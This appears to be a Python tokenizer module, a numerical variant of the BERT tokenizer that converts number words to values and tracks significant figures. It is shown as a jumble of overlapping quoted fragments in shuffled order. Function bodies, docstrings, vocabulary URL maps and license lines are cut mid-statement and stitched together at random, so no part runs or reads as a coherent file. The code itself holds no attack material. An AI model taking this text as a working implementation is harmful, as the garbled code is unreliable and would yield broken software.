def _run_split_on_punc(self, text,", "char == \"\\n\" or char == \"\\r\": return True cat", "'thousand': 1000.0, 'million': 1000000.0, 'billion': 1000000000.0, 'trillion': 1000000000000.0, 'quadrillion': 1000000000000000.0,", "new_words, sigs # ​ # def normalize_numbers_in_sent(sent, remove_pos=False, never_split=None): \"\"\"", "characters. This should likely be deactivated for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328", "not None else []) text = self._clean_text(text) # This was", "i == 0: mantissa = Small.get(word, None) if mantissa is", "text: cp = ord(char) if self._is_chinese_char(cp): output.append(\" \") output.append(char) output.append(\"", "passed through `BasicTokenizer`. Returns: A list of wordpiece tokens. \"\"\"", "token in enumerate(tokens): token = token.rstrip('\\n') vocab[token] = index return", "for token in orig_tokens: if self.do_lower_case and token not in", "have any Chinese data in them (there are Chinese #", "\"##aff\", \"##able\"] Args: text: A single token or whitespace separated", "self._is_chinese_char(cp): output.append(\" \") output.append(char) output.append(\" \") else: output.append(char) return \"\".join(output)", "convert \"digit digitword\" (24 hundred) -> 2400 and return the", "+ (never_split if never_split is not None else []) text", "Please check that the vocabulary is not corrupted!\".format(vocab_file)) index =", "for i, word in enumerate(words): if i == 0: mantissa", "i = 0 while i < len(words): for j in", "\"\"\"Checks whether `chars` is a control character.\"\"\" # These are", "if char == \"\\t\" or char == \"\\n\" or char", "\"\\n\" or char == \"\\r\": return False cat = unicodedata.category(char)", "return False cat = unicodedata.category(char) if cat.startswith(\"C\"): return True return", "i == 0: if _is_punctuation(char): if i == 0: do_split", "new_words = [] sigs = [] i = 0 while", "0 for (token, sigfig) in self.numerical_tokenizer.tokenize(text, never_split=self.all_special_tokens): for (sub_token, numeric_value,", "'bert-large-uncased-whole-word-masking': 512, 'bert-large-cased-whole-word-masking': 512, 'bert-large-uncased-whole-word-masking-finetuned-squad': 512, 'bert-large-cased-whole-word-masking-finetuned-squad': 512, 'bert-base-cased-finetuned-mrpc': 512,", "self.do_lower_case = do_lower_case self.never_split = never_split self.tokenize_chinese_chars = tokenize_chinese_chars def", "the tokenizer vocabulary to a directory or file.\"\"\" index =", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "in words] # remove commas from numbers \"2,000\" -> 2000", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt\", 'bert-large-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt\", 'bert-base-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt\", 'bert-large-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt\", 'bert-base-multilingual-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt\", 'bert-base-multilingual-cased':", "(default True) Whether to lower case the input Only has", "text = unicodedata.normalize(\"NFD\", text) output = [] for char in", "start_new_word = True output = [] while i < len(chars):", "True return super(BertNumericalTokenizer, cls)._from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs) class NumericalTokenizer(object): \"\"\"Runs basic", "= [] for token in whitespace_tokenize(text): chars = list(token) if", "**kwargs): \"\"\"Constructs a BertNumericalTokenizer. Args: **vocab_file**: Path to a one-wordpiece-per-line", "the English Wikipedia.). if self.tokenize_chinese_chars: text = self._tokenize_chinese_chars(text) orig_tokens =", "are setting `do_lower_case=True` for you \" \"but you may want", "zip(output_tokens, numeric_values, numeric_mask) def _is_whitespace(char): \"\"\"Checks whether `chars` is a", "= tokenize_chinese_chars def tokenize(self, text, never_split=None): \"\"\" Basic Tokenization of", "0xFAFF) or # (cp >= 0x2F800 and cp <= 0x2FA1F)):", "split on periods if number is before it # if", "division, print_function, unicode_literals import collections import logging import os import", "dictionary.\"\"\" vocab = collections.OrderedDict() with open(vocab_file, \"r\", encoding=\"utf-8\") as reader:", "import sys import unicodedata from io import open from transformers", "to False. We are setting `do_lower_case=False` for you but \"", "= { 'vocab_file': { 'bert-base-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt\", 'bert-large-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt\", 'bert-base-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt\",", "\"model use `tokenizer = BertNumericalTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`\".format(vocab_file)) self.vocab = load_vocab(vocab_file) self.unk_num =", "never_split) out_sigfigs = [] i = 0 while i <", "output.append([char]) start_new_word = True else: if start_new_word: output.append([]) start_new_word =", "characters, # despite its name. The modern Korean Hangul alphabet", "output.append(char) output.append(\" \") else: output.append(char) return \"\".join(output) def _is_chinese_char(self, cp):", "False: cur_substr = substr break end -= 1 if cur_substr", "are used to write # space-separated words, so they are", "\" \"`do_lower_case` to False. We are setting `do_lower_case=False` for you", "False def _is_punctuation(char): \"\"\"Checks whether `chars` is a punctuation character.\"\"\"", "text.strip() if not text: return [] tokens = text.split() return", "None: mantissa = mantissa*magnitude else: # non-number word raise NumberException(\"Unknown", "character removal and whitespace cleanup on text.\"\"\" output = []", "1000000000.0, 'trillion': 1000000000000.0, 'quadrillion': 1000000000000000.0, 'quintillion': 1000000000000000000.0, 'sextillion': 1000000000000000000000.0, 'septillion':", "'bert-base-cased-finetuned-mrpc': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt\", } } PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = { 'bert-base-uncased': 512, 'bert-large-uncased':", "self.vocab = load_vocab(vocab_file) self.unk_num = '[UNK_NUM]' self.default_value = 1.0 never_split", "len(chars)-1: do_split = True else: if not chars[i-1].isdigit(): do_split =", "1st, 2018 for the multilingual and Chinese # models. This", "#dont split on periods if number is before it #", "if it's an int after preprocessing Magnitude_with_hundred = Magnitude.copy() Magnitude_with_hundred['hundred']", "vocab self.unk_token = unk_token self.unk_num = unk_num self.default_value = 1.0", "512, 'bert-large-cased-whole-word-masking': 512, 'bert-large-uncased-whole-word-masking-finetuned-squad': 512, 'bert-large-cased-whole-word-masking-finetuned-squad': 512, 'bert-base-cased-finetuned-mrpc': 512, }", "True): logger.warning(\"The pre-trained model you are loading is an uncased", "# # Note that the CJK Unicode block is NOT", "# def normalize_numbers_in_sent(sent, remove_pos=False, never_split=None): \"\"\" Given a sentence, perform", "break sub_tokens.append(cur_substr) start = end if is_number: #ACTUAL NUMBER HERE", "never_split=None): \"\"\" Basic Numerical Tokenization of a piece of text.", "may want to check this behavior.\") kwargs['do_lower_case'] = False elif", "} PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = { 'bert-base-uncased': 512, 'bert-large-uncased': 512, 'bert-base-cased': 512,", "{ 'zero': 0.0, 'one': 1.0, 'two': 2.0, 'three': 3.0, 'four':", "boolean (default True) Whether to tokenize Chinese characters. This should", "1000000000000000.0, 'quintillion': 1000000000000000000.0, 'sextillion': 1000000000000000000000.0, 'septillion': 1000000000000000000000000.0, 'octillion': 1000000000000000000000000000.0, 'nonillion':", "[\"un\", \"##aff\", \"##able\"] Args: text: A single token or whitespace", "under the License. \"\"\"Tokenization classes.\"\"\" from __future__ import absolute_import, division,", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "\" \"`do_lower_case` to False. We are setting `do_lower_case=True` for you", "j == i+1: out_sigfigs.append('-1') out_words.append(words[i]) i += 1 assert len(out_sigfigs)", "def normalize_numbers_in_sent(sent, remove_pos=False, never_split=None): \"\"\" Given a sentence, perform preprocessing", "Magnitude_with_hundred: new_words.append(str(float(words_lower[i]) * Magnitude_with_hundred[words_lower[i+1]])) sigs.append(f'{words_lower[i]} {words_lower[i+1]}') i += 1 else:", "or _is_punctuation(char) and i == 0: if _is_punctuation(char): if i", "ord(char) if self._is_chinese_char(cp): output.append(\" \") output.append(char) output.append(\" \") else: output.append(char)", "preprocess(sent, remove_pos=False, never_split=None): \"\"\" Preprocess the sentence by: . remove", "as such. if char == \" \" or char ==", "\".join(split_tokens)) return output_tokens def _run_strip_accents(self, text): \"\"\"Strips accents from a", "vocab_files_names = VOCAB_FILES_NAMES pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES def", "to do basic tokenization before wordpiece. **never_split**: (`optional`) list of", "all Japanese and Korean characters, # despite its name. The", "cat.startswith(\"C\"): return True return False def _is_punctuation(char): \"\"\"Checks whether `chars`", "mantissa*magnitude else: # non-number word raise NumberException(\"Unknown number: \"+word) return", "the English models were not trained on any Chinese data", "in range(n)]) def check_int(s): if s[0] in ('-', '+'): return", "tokenization (punctuation splitting, lower casing, etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None,", "numbers (2,000 -> 2000) . remove endings from ordinal numbers", "see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" if never_split is None: never_split = []", "do_wordpiece_only=False do_basic_tokenize: Whether to do basic tokenization before wordpiece. max_len:", "Apache License, Version 2.0 (the \"License\"); # you may not", "load_vocab(vocab_file) self.unk_num = '[UNK_NUM]' self.default_value = 1.0 never_split = ['[UNK_NUM]']", "numeric_values = [] numeric_masks = [] split_sigfigs = [] i", "Korean characters, # despite its name. The modern Korean Hangul", "either express or implied. # See the License for the", "if get_sigfigs: return split_sigfigs return split_tokens def _convert_token_to_id(self, token): \"\"\"", "\"\"\"Tokenization classes.\"\"\" from __future__ import absolute_import, division, print_function, unicode_literals import", "'sextillion': 1000000000000000000000.0, 'septillion': 1000000000000000000000000.0, 'octillion': 1000000000000000000000000000.0, 'nonillion': 1000000000000000000000000000000.0, } class", "self.never_split = never_split def tokenize(self, text, never_split=None): \"\"\" Basic Numerical", "do_basic_tokenize: Whether to do basic tokenization before wordpiece. max_len: An", "and cp <= 47) or (cp >= 58 and cp", "token or whitespace separated tokens. This should have already been", "split_sigfigs return split_tokens def _convert_token_to_id(self, token): \"\"\" Converts a token", "length. never_split: List of tokens which will never be split", "-> 2400 and return the sentence's preprocessed list of words", "= BertNumericalTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`\".format(vocab_file)) self.vocab = load_vocab(vocab_file) self.unk_num = '[UNK_NUM]' self.default_value =", "False end = len(chars) cur_substr = None while start <", "`BasicTokenizer`. Returns: A list of wordpiece tokens. \"\"\" output_tokens =", "else: numeric_values.extend([self.default_value]*len(sub_tokens))#-9e9 numeric_mask.extend([0]*len(sub_tokens)) output_tokens.extend(sub_tokens) assert len(numeric_values) == len(output_tokens) == len(numeric_mask)", "defines a \"chinese character\" as anything in the CJK Unicode", "def convert_tokens_to_string(self, tokens): \"\"\" Converts a sequence of tokens (string)", "not in ['infinity', 'inf', 'nan']: int_word = float(new_word) # words[i]", "model you are loading is a cased model but you", "char == \"\\n\" or char == \"\\r\": return False cat", "text2num. \"\"\" if remove_pos: words = [word[:word.rfind('_')] for word in", "are not consecutive.\" \" Please check that the vocabulary is", "The HuggingFace Inc. team. # # Licensed under the Apache", "words, so they are not treated specially and handled #", "while i < len(chars): char = chars[i] #dont split on", "sent = ' '.join(tokens) words_lower = [word.lower() for word in", "words] # remove commas from numbers \"2,000\" -> 2000 and", "Google AI Language Team Authors and The HuggingFace Inc. team.", "reader: tokens = reader.readlines() for index, token in enumerate(tokens): token", "= [] split_sigfigs = [] i = 0 for (token,", "numeric_values = [] numeric_mask = [] for token in whitespace_tokenize(text):", "i == len(words) - 2: new_words.append(words[i+1]) sigs.append('') i += 1", "is an uncased model but you have set \" \"`do_lower_case`", "case the input. **never_split**: (`optional`) list of str Kept for", "'five': 5.0, 'six': 6.0, 'seven': 7.0, 'eight': 8.0, 'nine': 9.0,", "numbers for i in range(len(words)): new_word = words_lower[i].replace(',', '') if", "'thirty': 30.0, 'forty': 40.0, 'fifty': 50.0, 'sixty': 60.0, 'seventy': 70.0,", "= { 'zero': 0.0, 'one': 1.0, 'two': 2.0, 'three': 3.0,", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "self.wordpiece_tokenizer.tokenize(token): split_tokens.append(sub_token) numeric_values.append(numeric_value) numeric_masks.append(numeric_mask) if numeric_value != self.default_value: split_sigfigs.append(sigfig) else:", "= unk_token self.unk_num = unk_num self.default_value = 1.0 self.max_input_chars_per_word =", "if substr in self.vocab and is_number == False: cur_substr =", "out_words = [] words, sigfigs = preprocess(sent, remove_pos, never_split) out_sigfigs", "= reader.readlines() for index, token in enumerate(tokens): token = token.rstrip('\\n')", "character\" as anything in the CJK Unicode block: # https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block)", "be deactivated for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" if never_split is", "512, 'bert-base-chinese': 512, 'bert-base-german-cased': 512, 'bert-large-uncased-whole-word-masking': 512, 'bert-large-cased-whole-word-masking': 512, 'bert-large-uncased-whole-word-masking-finetuned-squad':", "output = [] for char in text: cp = ord(char)", "PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES def __init__(self, vocab_file, do_lower_case=True, do_basic_tokenize=True, never_split=None, unk_token=\"[UNK]\", sep_token=\"[SEP]\", pad_token=\"[PAD]\",", "to a directory or file.\"\"\" index = 0 if os.path.isdir(vocab_path):", "substr break end -= 1 if cur_substr is None: is_bad", "return True return False def _is_punctuation(char): \"\"\"Checks whether `chars` is", "# n = 0 # g = 0 mantissa =", "'bert-base-uncased': 512, 'bert-large-uncased': 512, 'bert-base-cased': 512, 'bert-large-cased': 512, 'bert-base-multilingual-uncased': 512,", "length is always the minimum of this value (if specified)", "and cp <= 0x9FFF) or # (cp >= 0x3400 and", "if len(chars) > self.max_input_chars_per_word: output_tokens.append(self.unk_token) numeric_values.append(self.default_value) numeric_mask.append(0) continue is_bad =", "if remove_pos: words = [word[:word.rfind('_')] for word in sent.strip().split()] else:", "Google pretrained \" \"model use `tokenizer = BertNumericalTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`\".format(vocab_file)) self.vocab =", "tokenization. Only has an effect when do_wordpiece_only=False \"\"\" vocab_files_names =", "_is_punctuation(char) and not chars[i-1].isdigit() or _is_punctuation(char) and i == 0:", "= unicodedata.category(char) if cat.startswith(\"C\"): return True return False def _is_punctuation(char):", "== len(words) - 2: new_words.append(words[i+1]) sigs.append('') i += 1 return", "digitword\" (24 hundred) -> 2400 and return the sentence's preprocessed", "check that the vocabulary is not corrupted!\".format(vocab_file)) index = token_index", "we treat them as punctuation anyways, for # consistency. if", "len(numeric_mask) return zip(output_tokens, numeric_values, numeric_mask) def _is_whitespace(char): \"\"\"Checks whether `chars`", "(cp >= 0x20000 and cp <= 0x2A6DF) or # (cp", "a control character.\"\"\" # These are technically control characters but", "self._run_strip_accents(token) split_tokens.extend(self._run_split_on_punc(token)) output_tokens = whitespace_tokenize(\" \".join(split_tokens)) return output_tokens def _run_strip_accents(self,", "words = tokenizer.tokenize(sent) # sent = ' '.join(tokens) words_lower =", "before wordpiece. max_len: An artificial maximum length to truncate tokenized", "0: magnitude = Magnitude.get(word, None) if magnitude is not None:", "kwargs['do_lower_case'] = False elif '-cased' not in pretrained_model_name_or_path and not", "<= 0x9FFF) or # (cp >= 0x3400 and cp <=", "number = str(text2num(words[i:j])) if sigfigs[i] == '': out_sigfigs.append(' '.join(words[i:j])) else:", "of a piece of text. Args: **never_split**: (`optional`) list of", "if numeric_value != self.default_value: split_sigfigs.append(sigfig) else: split_sigfigs.append('-1') if numeric_value !=", "def tokenize(self, text, never_split=None): \"\"\" Basic Numerical Tokenization of a", "cp <= 0x4DBF) or # (cp >= 0x20000 and cp", "pad_token=\"[PAD]\", cls_token=\"[CLS]\", mask_token=\"[MASK]\", tokenize_chinese_chars=True, **kwargs): \"\"\"Constructs a BertNumericalTokenizer. Args: **vocab_file**:", "= 0 while i < len(words): for j in range(len(words),", "self.do_basic_tokenize = do_basic_tokenize self.numerical_tokenizer = NumericalTokenizer(do_lower_case=do_lower_case, never_split=never_split) if do_basic_tokenize: self.basic_tokenizer", "__init__(self, do_lower_case=True, never_split=None, tokenize_chinese_chars=True): \"\"\" Constructs a BasicTokenizer. Args: **do_lower_case**:", "whitespace separated tokens. This should have already been passed through", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt\", 'bert-base-chinese': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt\", 'bert-base-german-cased': \"https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt\", 'bert-large-uncased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt\", 'bert-large-cased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt\", 'bert-large-uncased-whole-word-masking-finetuned-squad':", "if os.path.isdir(vocab_path): vocab_file = os.path.join(vocab_path, VOCAB_FILES_NAMES['vocab_file']) with open(vocab_file, \"w\", encoding=\"utf-8\")", "'eighteen': 18.0, 'nineteen': 19.0, 'twenty': 20.0, 'thirty': 30.0, 'forty': 40.0,", "words[i] = str(int_word) words[i] = new_word except ValueError: pass #", "and cp <= 64) or (cp >= 91 and cp", "self.unk_num = unk_num self.default_value = 1.0 self.max_input_chars_per_word = max_input_chars_per_word def", "return s.isdigit() def preprocess(sent, remove_pos=False, never_split=None): \"\"\" Preprocess the sentence", "split_sigfigs = normalize_numbers_in_sent(text) output_tokens = whitespace_tokenize(\" \".join(split_tokens)) output_sigfigs = whitespace_tokenize(\"", "List of token not to split. **tokenize_chinese_chars**: (`optional`) boolean (default", "for i in range(len(words)-1): if words_lower[i] == 'a' and words_lower[i+1]", "unk_num, max_input_chars_per_word=100): self.vocab = vocab self.unk_token = unk_token self.unk_num =", "logger.warning(\"Saving vocabulary to {}: vocabulary indices are not consecutive.\" \"", "ValueError( \"Can't find a vocabulary file at path '{}'. To", "split_sigfigs.append(sigfig) else: split_sigfigs.append('-1') if numeric_value != self.default_value and sub_token !=", "preprocessed list of words that should be passed into text2num.", "Kept for backward compatibility purposes. Now implemented directly at the", "= end if is_number: #ACTUAL NUMBER HERE output_tokens.append(self.unk_num) numeric_values.append(numeric_value) numeric_mask.append(1)", "'vocab.txt'} PRETRAINED_VOCAB_FILES_MAP = { 'vocab_file': { 'bert-base-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt\", 'bert-large-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt\",", "Chinese data in them (there are Chinese # characters in", "and token not in never_split: token = token.lower() token =", "do_lower_case: Whether to lower case the input. Only has an", "or char == \"\\n\" or char == \"\\r\": return True", "'trillion': 1000000000000.0, 'quadrillion': 1000000000000000.0, 'quintillion': 1000000000000000000.0, 'sextillion': 1000000000000000000000.0, 'septillion': 1000000000000000000000000.0,", "cased model but you have not set \" \"`do_lower_case` to", "sys import unicodedata from io import open from transformers import", "split. \"\"\" # digits = '0123456789' # punctuation = '$%'", "cp <= 0x2B73F) or # (cp >= 0x2B740 and cp", "<= 0x2FA1F)): # return True return False def _clean_text(self, text):", "[] for char in text: cp = ord(char) if cp", "characters in the vocabulary because Wikipedia does have some Chinese", "'eighty': 80.0, 'ninety': 90.0 } Magnitude = { 'thousand': 1000.0,", "True cat = unicodedata.category(char) # if cat.startswith(\"P\") and cp !=", "should likely be deactivated for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" super(BertNumericalTokenizer,", "whether `chars` is a punctuation character.\"\"\" cp = ord(char) #", "cat.startswith(\"P\"): return True return False ################ # Small = {", "when do_basic_tokenize=True **do_basic_tokenize**: (`optional`) boolean (default True) Whether to do", "use this file except in compliance with the License. #", "string List of tokens which will never be split during", "+ wordpiece Args: vocab_file: Path to a one-wordpiece-per-line vocabulary file", "pretrained_model_name_or_path, *inputs, **kwargs): \"\"\" Instantiate a BertNumericalTokenizer from pre-trained vocabulary", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-large-cased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-base-cased-finetuned-mrpc': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt\", } } PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = {", "if self.do_lower_case and token not in never_split: token = token.lower()", "token not in ['infinity', 'inf', 'nan']: numeric_value = float(token) is_number", "get_sigfigs: return split_sigfigs return split_tokens def _convert_token_to_id(self, token): \"\"\" Converts", "'seven': 7.0, 'eight': 8.0, 'nine': 9.0, 'ten': 10.0, 'eleven': 11.0,", "writer: for token, token_index in sorted(self.vocab.items(), key=lambda kv: kv[1]): if", "VOCAB_FILES_NAMES pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES def __init__(self, vocab_file,", "has an effect when do_basic_tokenize=True **tokenize_chinese_chars**: (`optional`) boolean (default True)", "are loading is a cased model but you have not", "# coding=utf-8 # Copyright 2018 The Google AI Language Team", "None: never_split = [] self.do_lower_case = do_lower_case self.never_split = never_split", "out_sigfigs = [] i = 0 while i < len(words):", "# consistency. if ((cp >= 33 and cp <= 47)", "chars[i-1].isdigit(): do_split = True else: do_split = False else: do_split", "def __init__(self, vocab, unk_token, unk_num, max_input_chars_per_word=100): self.vocab = vocab self.unk_token", "out_sigfigs.append('-1') out_words.append(words[i]) i += 1 assert len(out_sigfigs) == len(out_words) return", "id using the vocab. \"\"\" return self.vocab.get(token, self.vocab.get(self.unk_token)) def _convert_id_to_token(self,", "\"\"\"Runs basic whitespace cleaning and splitting on a piece of", "file do_lower_case: Whether to lower case the input. Only has", "for tok, ids in self.vocab.items()]) self.do_basic_tokenize = do_basic_tokenize self.numerical_tokenizer =", "= 0 # number = 0.0 for i, word in", "text. Args: **never_split**: (`optional`) list of str Kept for backward", "different block, # as is Japanese Hiragana and Katakana. Those", "of digits and words) new_words = [] sigs = []", "# (cp >= 0x20000 and cp <= 0x2A6DF) or #", "\" Please check that the vocabulary is not corrupted!\".format(vocab_file)) index", "have not set \" \"`do_lower_case` to False. We are setting", "whether `chars` is a control character.\"\"\" # These are technically", "foohere if get_numeric_masks: return numeric_masks if get_values: return numeric_values assert", "tokenization (punctuation splitting, lower casing, etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None):", "'bert-base-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt\", 'bert-large-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt\", 'bert-base-multilingual-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt\", 'bert-base-multilingual-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt\", 'bert-base-chinese': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt\",", "= substr break end -= 1 if cur_substr is None:", "self.unk_token = unk_token self.unk_num = unk_num self.default_value = 1.0 self.max_input_chars_per_word", "if cat.startswith(\"P\"): return True return False ################ # Small =", "if token not in ['infinity', 'inf', 'nan']: numeric_value = float(token)", "tokens which will never be split during tokenization. Only has", "for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" if never_split is None: never_split", "self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token, unk_num=self.unk_num) @property def vocab_size(self): return len(self.vocab)", "PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = { 'bert-base-uncased': 512, 'bert-large-uncased': 512, 'bert-base-cased': 512, 'bert-large-cased':", "start = 0 sub_tokens = [] while start < len(chars):", "piece of text. Split on \"white spaces\" only, for sub-word", "\"\\n\" or char == \"\\r\": return True cat = unicodedata.category(char)", "max_input_chars_per_word=100): self.vocab = vocab self.unk_token = unk_token self.unk_num = unk_num", "return \"\".join(output) class WordpieceTokenizer(object): \"\"\"Runs WordPiece tokenization.\"\"\" def __init__(self, vocab,", "else: is_number = False except: ValueError is_number = False end", "[word.lower() for word in words] # remove commas from numbers", "in compliance with the License. # You may obtain a", "(str) :return: a list of normalized words from the sentence", "in text: cat = unicodedata.category(char) if cat == \"Mn\": continue", "software # distributed under the License is distributed on an", "Unicode block: # https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block) # # Note that the CJK", "punctuation = '$%' # text = self._clean_text(text) # orig_tokens =", "= ord(char) # We treat all non-letter/number ASCII as punctuation.", "'[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?' # fraction_pattern = re.compile(_fraction) # number_pattern = re.compile(_numbers) class", "len(words)-1: if check_int(words_lower[i]) and words_lower[i+1] in Magnitude_with_hundred: new_words.append(str(float(words_lower[i]) * Magnitude_with_hundred[words_lower[i+1]]))", "in pretrained_model_name_or_path and kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model you are", "Constructs a BertTokenizer. :class:`~pytorch_transformers.BertTokenizer` runs end-to-end tokenization: punctuation splitting +", "1000000000000000000000000.0, 'octillion': 1000000000000000000000000000.0, 'nonillion': 1000000000000000000000000000000.0, } class NumberException(Exception): def __init__(self,", "BertTokenizer. :class:`~pytorch_transformers.BertTokenizer` runs end-to-end tokenization: punctuation splitting + wordpiece Args:", "the given vocabulary. For example: input = \"unaffable\" output =", "are technically control characters but we count them as whitespace", "return [text] chars = list(text) i = 0 start_new_word =", "len(split_tokens) == len(numeric_values) == len(split_sigfigs) if get_sigfigs: return split_sigfigs return", "8.0, 'nine': 9.0, 'ten': 10.0, 'eleven': 11.0, 'twelve': 12.0, 'thirteen':", "Args: **do_lower_case**: Whether to lower case the input. **never_split**: (`optional`)", "'twelve': 12.0, 'thirteen': 13.0, 'fourteen': 14.0, 'fifteen': 15.0, 'sixteen': 16.0,", "super(BertNumericalTokenizer, cls)._from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs) class NumericalTokenizer(object): \"\"\"Runs basic tokenization (punctuation", "of this value (if specified) and the underlying BERT model's", "'four': 4.0, 'five': 5.0, 'six': 6.0, 'seven': 7.0, 'eight': 8.0,", "words_lower = [word.lower() for word in words] # remove commas", "check_int(s): if s[0] in ('-', '+'): return s[1:].isdigit() return s.isdigit()", "# Note that the CJK Unicode block is NOT all", "never_split=None): \"\"\"Splits punctuation on a piece of text.\"\"\" if never_split", "Args: vocab_file: Path to a one-wordpiece-per-line vocabulary file do_lower_case: Whether", "codepoint of a CJK character.\"\"\" # This defines a \"chinese", "= True elif i == len(chars)-1: do_split = True else:", "level (see :func:`PreTrainedTokenizer.tokenize`) List of token not to split. **tokenize_chinese_chars**:", "tokenize(self, text, never_split=None): \"\"\" Basic Numerical Tokenization of a piece", "import os import sys import unicodedata from io import open", "languages. if ((cp >= 0x4E00 and cp <= 0x9FFF) or", "pass # only modify this word if it's an int", "Tokenization of a piece of text. Split on \"white spaces\"", "an effect when do_wordpiece_only=False do_basic_tokenize: Whether to do basic tokenization", "4.0, 'five': 5.0, 'six': 6.0, 'seven': 7.0, 'eight': 8.0, 'nine':", "_is_chinese_char(self, cp): \"\"\"Checks whether CP is the codepoint of a", "os.path.isdir(vocab_path): vocab_file = os.path.join(vocab_path, VOCAB_FILES_NAMES['vocab_file']) with open(vocab_file, \"w\", encoding=\"utf-8\") as", "text.\"\"\" output = [] for char in text: cp =", "_numbers = '[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?' # fraction_pattern = re.compile(_fraction) # number_pattern =", "'one' # convert \"24 {Magnitude}\" -> 24000000000000 (mix of digits", "Japanese Hiragana and Katakana. Those alphabets are used to write", "of a piece of text. Split on \"white spaces\" only,", "\"##able\"] Args: text: A single token or whitespace separated tokens.", "'bert-large-uncased-whole-word-masking-finetuned-squad': 512, 'bert-large-cased-whole-word-masking-finetuned-squad': 512, 'bert-base-cased-finetuned-mrpc': 512, } def load_vocab(vocab_file): \"\"\"Loads", "= False if do_split: output.append([char]) start_new_word = True else: if", "vocab_path): \"\"\"Save the tokenizer vocabulary to a directory or file.\"\"\"", "logging import os import sys import unicodedata from io import", "key=lambda kv: kv[1]): if index != token_index: logger.warning(\"Saving vocabulary to", "= float(word) except ValueError: raise NumberException(\"First must be a number", "number_pattern = re.compile(_numbers) class BasicTokenizer(object): \"\"\"Runs basic tokenization (punctuation splitting,", "if not chars[i-1].isdigit(): do_split = True else: do_split = False", "CJK character.\"\"\" # This defines a \"chinese character\" as anything", "so they are not treated specially and handled # like", "output_tokens.append(self.unk_num) numeric_values.append(numeric_value) numeric_mask.append(1) elif is_bad: output_tokens.append(self.unk_token) numeric_values.append(self.default_value)#-9e9 numeric_mask.append(0) else: numeric_values.extend([self.default_value]*len(sub_tokens))#-9e9", "in self.numerical_tokenizer.tokenize(text, never_split=self.all_special_tokens): for (sub_token, numeric_value, numeric_mask) in self.wordpiece_tokenizer.tokenize(token): split_tokens.append(sub_token)", "def check_int(s): if s[0] in ('-', '+'): return s[1:].isdigit() return", "tokenization using the given vocabulary. For example: input = \"unaffable\"", "never_split: List of tokens which will never be split during", "\"\"\" Converts a sequence of tokens (string) in a single", "with the License. # You may obtain a copy of", "split_tokens def _convert_token_to_id(self, token): \"\"\" Converts a token (str/unicode) in", "we count them as whitespace # characters. if char ==", "= [] for char in text: cp = ord(char) if", "never_split=None, tokenize_chinese_chars=True): \"\"\" Constructs a BasicTokenizer. Args: 